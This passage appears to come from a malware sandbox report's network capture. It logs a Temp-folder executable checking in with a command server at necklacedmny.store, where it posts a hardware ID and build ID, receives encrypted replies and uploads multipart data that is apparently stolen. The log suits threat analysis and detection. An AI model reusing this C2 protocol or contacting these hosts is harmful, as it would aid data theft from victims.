15	192.168.2.5	59855	188.114.96.3	443	2696	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:02:30 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B1C864E4CD81B148E614127BB61FCD3A
2024-11-01 04:02:30 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3jlgc6otqoq0c2fae7tc99gqrs; expires=Mon, 24-Feb-2025 21:49:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2BG%2BZR2nsAxn6APUELIyZBw1Pr1tpz9fSXDZ6P2sab9j2svE%2BGJieNc8N3A%2FbsqWBgwImhHD%2FOVRmuWr5WyhIKlnjTlfVBaLNNfE8idjX25hcnKan8MRvQ8g8S%2FxxFvoxmmLIBI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd5c8e9aeb02-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1064&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2691449&cwnd=238&unsent_bytes=0&cid=260bb389c0d2bcc5&ts=566&x=0"
2024-11-01 04:02:30 UTC	214	IN	Data Raw: 64 30 0d 0a 73 33 2b 30 4a 36 4c 70 39 4e 68 5a 4e 43 4f 71 63 54 4d 59 76 33 38 61 42 54 7a 52 49 71 48 6d 6c 55 6b 4f 34 5a 6b 37 30 73 48 6f 42 4a 5a 53 67 4e 50 57 73 43 31 41 55 35 41 74 48 45 53 51 54 69 49 77 45 75 4d 54 6c 4d 69 6b 65 44 33 50 71 41 32 4f 37 74 77 5a 30 6e 75 4e 6a 5a 47 2b 64 31 46 62 7a 31 4d 66 4f 74 6b 4c 4f 44 38 4d 2f 51 44 45 78 4b 39 35 63 38 33 69 47 61 66 6a 69 56 33 63 55 39 61 5a 7a 6f 52 32 61 41 79 62 53 51 59 32 6a 55 34 76 4b 77 33 67 45 59 2f 58 6f 78 55 68 6a 50 42 56 74 35 32 63 44 64 56 4a 78 6f 61 5a 39 6a 78 4d 52 6f 68 64 45 58 37 4c 58 53 41 31 45 50 4e 48 67 39 79 6c 4e 46 4d 3d 0d 0a Data Ascii: d0s3+0J6Lp9NhZNCOqcTMYv38aBTzRIqHmlUkO4Zk70sHoBJZSgNPWsC1AU5AtHESQTiIwEuMTlMikeD3PqA2O7twZ0nuNjZG+d1Fbz1MfOtkLOD8M/QDExK95c83iGafjiV3cU9aZzoR2aAybSQY2jU4vKw3gEY/XoxUhjPBVt52cDdVJxoaZ9jxMRohdEX7LXSA1EPNHg9ylNFM=
2024-11-01 04:02:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	59857	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:31 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:02:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:02:32 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4v4sn3rqtr45fp20oha0f9cpkr; expires=Mon, 24-Feb-2025 21:49:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PCdTS4n4s%2BFtu175rFSgxafV1tHL8CwLkVKbIb8RfAeHEOKMiRhzLXdXFwh6LQxfUKw5ItUH7JnOozMfIB4qkVTjSy98P3PiVr2Uee7P9EdVVbaqyRmz2xBOxs%2FUSZXGpldN3j8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd65ab0c47a9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1857&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1536339&cwnd=251&unsent_bytes=0&cid=172a41145f640fe4&ts=794&x=0"
2024-11-01 04:02:32 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:02:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	59858	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:33 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:02:33 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:02:33 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sm2corcnhioqbh241v1ejju42u; expires=Mon, 24-Feb-2025 21:49:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ZEXBRIjT%2BxDqgb2PFgzJnUV8hheQYMiuOohF7%2Bi%2F1M4GG%2FB6a%2F6ggFHM8Etj7%2BJl%2Bg4RKRxJ7ea2RhLgX%2BmHQ1AmYSCBGjwMqR23eT%2F85cV2hogyJtpi8BdfI%2BU199Zm1lRxWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd6e593147af-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1029&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2853201&cwnd=251&unsent_bytes=0&cid=3d6a48b7c05bd0d9&ts=720&x=0"
2024-11-01 04:02:33 UTC	342	IN	Data Raw: 31 64 38 34 0d 0a 4a 2b 35 35 61 45 34 33 70 71 33 41 76 67 78 54 31 57 4f 65 5a 55 2b 77 6e 6e 45 50 70 4b 4e 54 33 5a 35 48 32 2f 72 58 46 58 64 63 7a 41 39 4b 64 41 4f 4b 6a 37 50 62 4c 6d 6d 68 45 65 73 41 59 35 4c 2f 46 53 32 65 78 54 4b 78 37 53 4c 33 32 4b 46 34 56 52 32 49 47 41 51 39 55 6f 71 50 70 63 59 75 61 59 34 59 76 41 41 68 6b 71 52 54 61 73 37 42 4d 72 48 38 4a 72 43 56 70 33 6b 55 54 34 49 65 41 43 74 55 77 73 79 73 30 32 6b 32 73 41 4c 30 43 79 62 64 39 68 77 74 69 49 45 32 70 37 78 39 2b 62 65 79 59 52 5a 71 6a 77 6f 44 62 45 71 4b 31 75 4c 62 59 6e 48 76 51 66 38 41 4c 64 7a 34 46 57 54 4d 79 7a 75 35 2f 53 4f 78 69 72 35 7a 48 30 2b 4d 48 51 45 68 58 64 62 42 70 74 52 69 4d 4c 6f 43 76 45 6c 74 31 65 52 54 4e 59 61 53 41 37 7a 74 4e Data Ascii: 1d84J+55aE43pq3AvgxT1WOeZU+wnnEPpKNT3Z5H2/rXFXdczA9KdAOKj7PbLmmhEesAY5L/FS2exTKx7SL32KF4VR2IGAQ9UoqPpcYuaY4YvAAhkqRTas7BMrH8JrCVp3kUT4IeACtUwsys02k2sAL0Cybd9hwtiIE2p7x9+beyYRZqjwoDbEqK1uLbYnHvQf8ALdz4FWTMyzu5/SOxir5zH0+MHQEhXdbBptRiMLoCvElt1eRTNYaSA7ztN
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 32 4c 4a 37 56 52 33 4d 48 51 51 74 57 4d 54 64 71 74 64 6c 4e 4b 55 4b 39 51 6f 67 30 76 45 5a 59 73 58 42 4e 72 58 32 4b 72 4f 63 75 48 6f 54 52 59 78 62 52 47 78 53 33 49 2f 36 6e 45 30 30 70 77 62 77 45 57 2f 6f 76 41 77 6a 33 34 45 32 73 37 78 39 2b 5a 43 77 64 42 5a 4f 67 78 67 43 4a 30 66 45 33 61 54 52 61 79 4f 78 42 50 49 4e 4c 73 44 32 48 57 76 46 79 44 71 32 2b 53 4b 39 32 50 73 33 45 6c 33 4d 51 30 6f 4e 57 4d 2f 44 71 4d 74 75 63 61 68 50 35 55 63 71 33 72 78 4c 4c 63 4c 41 4e 62 37 34 4b 37 65 63 75 58 45 62 53 49 4d 64 41 43 78 53 7a 73 65 71 33 57 4d 36 75 41 48 35 43 69 6e 55 38 42 4a 6f 68 6f 39 78 75 4f 52 6c 34 64 69 62 63 42 5a 58 7a 69 34 4a 49 6c 76 44 32 65 4c 44 49 43 6a 33 42 76 42 48 64 5a 4c 79 46 6d 4c 55 77 43 4f 36 38 6a 65 Data Ascii: 2LJ7VR3MHQQtWMTdqtdlNKUK9Qog0vEZYsXBNrX2KrOcuHoTRYxbRGxS3I/6nE00pwbwEW/ovAwj34E2s7x9+ZCwdBZOgxgCJ0fE3aTRayOxBPINLsD2HWvFyDq2+SK92Ps3El3MQ0oNWM/DqMtucahP5Ucq3rxLLcLANb74K7ecuXEbSIMdACxSzseq3WM6uAH5CinU8BJoho9xuORl4dibcBZXzi4JIlvD2eLDICj3BvBHdZLyFmLUwCO68je
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 78 68 4b 7a 69 34 4a 49 6c 76 44 32 65 4c 44 49 43 6a 33 42 76 42 48 64 5a 4c 77 47 6d 33 4e 79 7a 57 2f 2b 79 69 38 6d 37 4a 30 47 45 4b 47 46 51 30 6f 57 63 33 43 70 4e 78 70 4e 62 49 54 2b 51 34 68 33 72 78 64 4c 63 48 5a 63 65 65 38 43 72 36 4f 74 6c 67 57 56 49 56 62 46 57 4a 4d 68 4d 69 75 6e 44 5a 78 73 41 54 30 44 43 76 61 2f 41 46 6f 79 4d 6f 77 74 66 6f 6b 74 4a 53 7a 64 78 52 46 69 68 63 4b 4b 31 4c 57 33 61 66 61 66 44 76 33 54 37 77 41 4e 5a 4b 6b 55 31 76 57 31 69 43 70 76 68 43 36 6c 72 74 77 41 77 57 54 56 52 4e 73 55 73 69 50 2b 70 78 6c 4d 62 73 47 39 41 45 70 32 76 4d 63 5a 4e 54 41 50 62 48 75 49 72 6d 52 75 33 67 5a 54 49 45 63 42 79 64 66 79 63 75 6c 33 53 35 2f 39 77 62 6b 52 33 57 53 79 67 4e 67 79 75 38 36 73 2f 56 6c 70 74 61 73 Data Ascii: xhKzi4JIlvD2eLDICj3BvBHdZLwGm3NyzW/+yi8m7J0GEKGFQ0oWc3CpNxpNbIT+Q4h3rxdLcHZcee8Cr6OtlgWVIVbFWJMhMiunDZxsAT0DCva/AFoyMowtfoktJSzdxRFihcKK1LW3afafDv3T7wANZKkU1vW1iCpvhC6lrtwAwWTVRNsUsiP+pxlMbsG9AEp2vMcZNTAPbHuIrmRu3gZTIEcBydfycul3S5/9wbkR3WSygNgyu86s/Vlptas
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 34 61 44 69 52 55 79 73 43 6a 32 47 73 30 73 77 62 34 41 53 4b 53 73 6c 4e 71 33 6f 46 70 2f 39 4d 43 6a 4e 71 55 54 56 56 61 77 67 4a 4b 4b 31 6d 45 6c 2b 4c 51 62 54 32 2f 44 76 6f 4f 49 64 6a 31 47 47 48 4e 78 54 32 32 2b 53 4f 34 6e 62 42 32 45 55 6d 47 48 51 6b 76 57 73 76 41 71 70 77 67 63 62 41 5a 76 46 39 74 39 2b 73 59 59 38 43 42 4c 76 48 6c 5a 62 36 55 39 53 39 56 53 59 55 64 44 43 6c 5a 78 63 6d 71 32 57 59 31 74 67 66 36 42 43 4c 57 2b 52 4a 69 77 73 30 2f 74 66 30 6b 74 5a 4f 36 66 42 41 46 77 6c 73 4e 4e 42 57 63 6a 35 50 66 65 43 61 6e 44 62 77 59 59 38 75 38 46 47 47 47 6d 58 47 2b 37 69 2b 7a 6c 72 42 34 45 45 61 44 48 41 63 71 57 63 37 47 71 74 70 68 4f 4b 55 43 38 41 6b 71 33 50 41 64 59 4d 7a 43 50 50 2b 79 5a 62 36 41 39 53 39 56 61 Data Ascii: 4aDiRUysCj2Gs0swb4ASKSslNq3oFp/9MCjNqUTVVawgJKK1mEl+LQbT2/DvoOIdj1GGHNxT22+SO4nbB2EUmGHQkvWsvAqpwgcbAZvF9t9+sYY8CBLvHlZb6U9S9VSYUdDClZxcmq2WY1tgf6BCLW+RJiws0/tf0ktZO6fBAFwlsNNBWcj5PfeCanDbwYY8u8FGGGmXG+7i+zlrB4EEaDHAcqWc7GqtphOKUC8Akq3PAdYMzCPP+yZb6A9S9Va
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 2b 57 63 72 64 70 38 35 38 63 66 6c 42 2b 78 39 74 69 72 77 6c 61 74 62 52 4d 76 33 4e 4d 37 71 4f 76 6e 6f 5a 42 5a 4e 56 45 32 78 53 79 49 2f 36 6e 47 67 2b 76 67 4c 7a 42 69 54 65 38 52 5a 6b 77 38 41 33 75 2f 59 76 75 5a 36 7a 64 68 42 50 6a 78 6f 41 4a 56 4c 4d 79 4b 48 4f 4c 6e 2f 33 42 75 52 48 64 5a 4c 56 46 48 2f 49 30 58 47 67 73 6a 7a 35 6e 37 6b 33 54 51 57 49 45 51 55 6f 55 73 6a 4a 70 39 70 6a 4d 4c 67 41 2f 41 67 70 32 66 55 56 62 4d 76 45 50 4c 76 75 4c 37 4b 58 75 58 34 5a 53 4d 78 56 53 69 74 4e 68 4a 66 69 37 57 4d 2f 75 51 62 71 52 7a 4b 63 35 56 4e 71 79 6f 46 70 2f 2f 30 70 74 70 75 36 64 42 5a 45 68 67 6b 59 49 46 7a 4d 79 71 37 58 59 44 65 6c 42 2f 4d 4f 4c 74 48 31 46 47 58 4b 79 7a 4b 34 76 47 76 35 6e 36 30 33 54 51 57 76 44 42 Data Ascii: +Wcrdp858cflB+x9tirwlatbRMv3NM7qOvnoZBZNVE2xSyI/6nGg+vgLzBiTe8RZkw8A3u/YvuZ6zdhBPjxoAJVLMyKHOLn/3BuRHdZLVFH/I0XGgsjz5n7k3TQWIEQUoUsjJp9pjMLgA/Agp2fUVbMvEPLvuL7KXuX4ZSMxVSitNhJfi7WM/uQbqRzKc5VNqyoFp//0ptpu6dBZEhgkYIFzMyq7XYDelB/MOLtH1FGXKyzK4vGv5n603TQWvDB
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 6a 2f 71 63 61 44 69 78 42 76 6f 4a 50 39 66 36 48 47 4c 50 79 44 57 33 2f 79 57 39 6e 4c 4a 79 46 6b 6d 48 48 41 6b 6a 55 63 33 42 71 39 4d 75 66 2f 63 47 35 45 64 31 6b 74 30 49 62 73 72 4d 63 61 43 79 50 50 6d 66 75 54 64 4e 42 59 41 56 44 79 78 66 77 73 75 6e 32 6d 51 30 74 77 72 2f 43 43 6e 55 2b 42 78 74 7a 63 67 77 75 66 6b 76 73 70 36 34 64 42 4e 44 7a 46 56 4b 4b 30 32 45 6c 2b 4c 38 64 54 79 37 42 72 77 59 59 38 75 38 46 47 47 47 6d 58 47 30 38 43 47 2b 6d 4c 68 30 48 55 43 49 45 51 38 73 58 64 62 48 6f 74 74 38 49 37 63 49 2b 51 73 75 30 76 67 56 5a 4d 44 43 4e 66 2b 79 5a 62 36 41 39 53 39 56 61 49 41 63 49 79 74 4f 68 4e 44 73 78 53 34 32 75 30 47 6b 52 79 7a 5a 39 68 78 67 78 63 63 79 74 50 6b 76 75 4a 2b 39 65 67 64 47 67 78 51 4f 4c 46 72 Data Ascii: j/qcaDixBvoJP9f6HGLPyDW3/yW9nLJyFkmHHAkjUc3Bq9Muf/cG5Ed1kt0IbsrMcaCyPPmfuTdNBYAVDyxfwsun2mQ0twr/CCnU+Bxtzcgwufkvsp64dBNDzFVKK02El+L8dTy7BrwYY8u8FGGGmXG08CG+mLh0HUCIEQ8sXdbHott8I7cI+Qsu0vgVZMDCNf+yZb6A9S9VaIAcIytOhNDsxS42u0GkRyzZ9hxgxccytPkvuJ+9egdGgxQOLFr
2024-11-01 04:02:33 UTC	377	IN	Data Raw: 32 30 6a 70 51 66 2f 45 53 36 56 77 69 31 4b 30 4d 73 32 72 2f 73 79 74 74 6a 37 4e 78 6f 46 31 43 4a 4b 4a 56 4c 66 33 72 54 52 66 6a 62 33 50 72 4a 48 4e 5a 4b 6b 55 31 6a 46 7a 7a 2b 34 36 6a 54 30 76 36 4e 39 45 6c 57 4c 44 41 56 73 47 34 54 4a 34 6f 51 39 66 2f 63 46 37 55 64 31 67 71 35 49 4f 4a 57 57 59 65 33 6a 61 36 44 59 6f 7a 64 4e 46 38 4a 62 47 47 77 4e 68 49 69 68 7a 6e 77 33 74 42 66 2f 51 42 50 73 32 77 6c 67 77 4e 59 67 67 63 49 69 6f 35 57 7a 59 41 51 4a 6d 52 67 45 49 6c 4c 53 6a 2b 79 63 59 58 48 76 4f 4c 78 50 62 65 32 79 55 33 57 47 6d 58 47 4b 2f 79 75 33 6e 36 4e 6d 57 47 4b 57 46 67 77 37 52 49 53 42 34 74 6f 75 61 65 64 50 76 41 4d 38 6b 71 52 44 50 35 32 55 59 75 69 73 64 36 62 57 72 44 63 44 42 64 52 4a 52 47 78 48 68 4a 66 69 Data Ascii: 20jpQf/ES6Vwi1K0Ms2r/syttj7NxoF1CJKJVLf3rTRfjb3PrJHNZKkU1jFzz+46jT0v6N9ElWLDAVsG4TJ4oQ9f/cF7Ud1gq5IOJWWYe3ja6DYozdNF8JbGGwNhIihznw3tBf/QBPs2wlgwNYggcIio5WzYAQJmRgEIlLSj+ycYXHvOLxPbe2yU3WGmXGK/yu3n6NmWGKWFgw7RISB4touaedPvAM8kqRDP52UYuisd6bWrDcDBdRJRGxHhJfi
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 32 36 65 38 0d 0a 53 6e 51 56 67 38 79 77 7a 6d 67 79 6f 51 4b 37 4f 52 50 52 36 68 35 69 7a 63 41 50 67 64 49 6f 75 4a 75 37 4e 53 52 54 67 51 73 4a 4b 56 4c 36 38 61 7a 62 65 6a 61 35 42 2f 78 48 59 35 4c 7a 55 7a 58 2f 67 58 6e 2f 77 32 76 35 67 50 55 76 56 58 43 50 46 51 51 72 51 39 57 43 67 63 70 6a 50 72 77 41 76 45 6c 74 31 4c 78 4c 50 59 69 42 4e 61 36 38 66 65 6e 4b 37 69 4a 47 45 74 78 4a 46 57 4a 4d 68 4e 6e 69 68 44 78 2f 39 78 4f 38 58 32 32 56 38 68 35 73 78 63 38 79 72 65 34 6a 75 6f 36 32 4d 43 74 37 72 52 59 42 49 46 6a 4c 78 4a 7a 69 54 7a 79 38 44 66 45 49 4a 75 7a 43 42 6d 37 49 7a 7a 61 70 37 57 58 33 32 4c 6f 33 54 58 7a 4d 55 30 6f 54 47 34 54 58 34 6f 51 75 42 4c 51 50 38 67 41 37 77 37 45 79 59 4d 33 4e 50 4c 44 33 5a 66 66 59 73 Data Ascii: 26e8SnQVg8ywzmgyoQK7ORPR6h5izcAPgdIouJu7NSRTgQsJKVL68azbeja5B/xHY5LzUzX/gXn/w2v5gPUvVXCPFQQrQ9WCgcpjPrwAvElt1LxLPYiBNa68fenK7iJGEtxJFWJMhNnihDx/9xO8X22V8h5sxc8yre4juo62MCt7rRYBIFjLxJziTzy8DfEIJuzCBm7Izzap7WX32Lo3TXzMU0oTG4TX4oQuBLQP8gA7w7EyYM3NPLD3ZffYs
2024-11-01 04:02:33 UTC	1369	IN	Data Raw: 50 58 44 51 53 63 4e 50 4d 73 74 70 74 44 34 6b 71 38 41 45 71 79 50 73 56 53 2b 61 42 66 2f 2f 7a 5a 65 47 68 39 54 39 56 65 73 4a 62 45 6d 77 4e 68 50 71 68 30 6d 41 32 6f 52 43 78 49 6a 72 52 37 42 56 75 68 6f 39 78 75 62 78 39 36 64 62 31 63 77 51 46 31 45 74 59 64 77 43 58 6d 50 4b 4f 63 58 2b 75 51 65 70 48 64 59 43 79 55 33 2b 47 6d 58 48 34 2f 7a 65 72 6e 72 5a 68 46 67 4b 79 4a 53 77 76 52 4d 37 75 72 38 78 70 44 34 6b 55 2f 77 6b 6a 31 65 6f 43 4c 59 69 42 50 76 2b 6b 48 50 6e 51 2b 58 45 57 55 38 77 6b 52 47 78 4e 68 4a 66 69 36 57 30 2f 75 51 62 71 46 6d 44 30 2f 77 4a 6e 35 38 77 68 75 4c 78 72 2b 5a 37 31 4c 30 59 4c 7a 42 38 62 62 41 32 55 6e 66 6d 4a 50 57 62 6e 55 2b 4e 4a 4e 4a 4c 71 55 7a 57 55 6a 33 47 74 76 48 33 35 33 37 5a 6c 42 30 Data Ascii: PXDQScNPMstptD4kq8AEqyPsVS+aBf//zZeGh9T9VesJbEmwNhPqh0mA2oRCxIjrR7BVuho9xubx96db1cwQF1EtYdwCXmPKOcX+uQepHdYCyU3+GmXH4/zernrZhFgKyJSwvRM7ur8xpD4kU/wkj1eoCLYiBPv+kHPnQ+XEWU8wkRGxNhJfi6W0/uQbqFmD0/wJn58whuLxr+Z71L0YLzB8bbA2UnfmJPWbnU+NJNJLqUzWUj3GtvH3537ZlB0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	59860	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:34 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-11-01 04:02:34 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:02:35 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7nad5hp2tvg4bo2n0mgev5nl40; expires=Mon, 24-Feb-2025 21:49:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2B67NzZY6t0nS9z306bj%2F4JDi8FDqv6BrZ6aJ60nxE6ky9EBp%2Bp0mjQP0KDB9HeDrETdUKBKjwnp7RLQI57AgeShPF5%2FioxL0MqkXaS%2BeqaEum8mZIVmnjx%2BjNzZy0CAmxX9H7g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fd787fbeddac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1180&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2209000&cwnd=252&unsent_bytes=0&cid=2e1bb3e45d76e3b6&ts=557&x=0"
2024-11-01 04:02:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:02:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	59864	188.114.96.3	443	7080	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:02:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-11-01 04:02:36 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 43 38 36 34 45 34 43 44 38 31 42 31 34 38 45 36 31 34 31 32 37 42 42 36 31 46 43 44 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B1C864E4CD81B148E614127BB61FCD3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
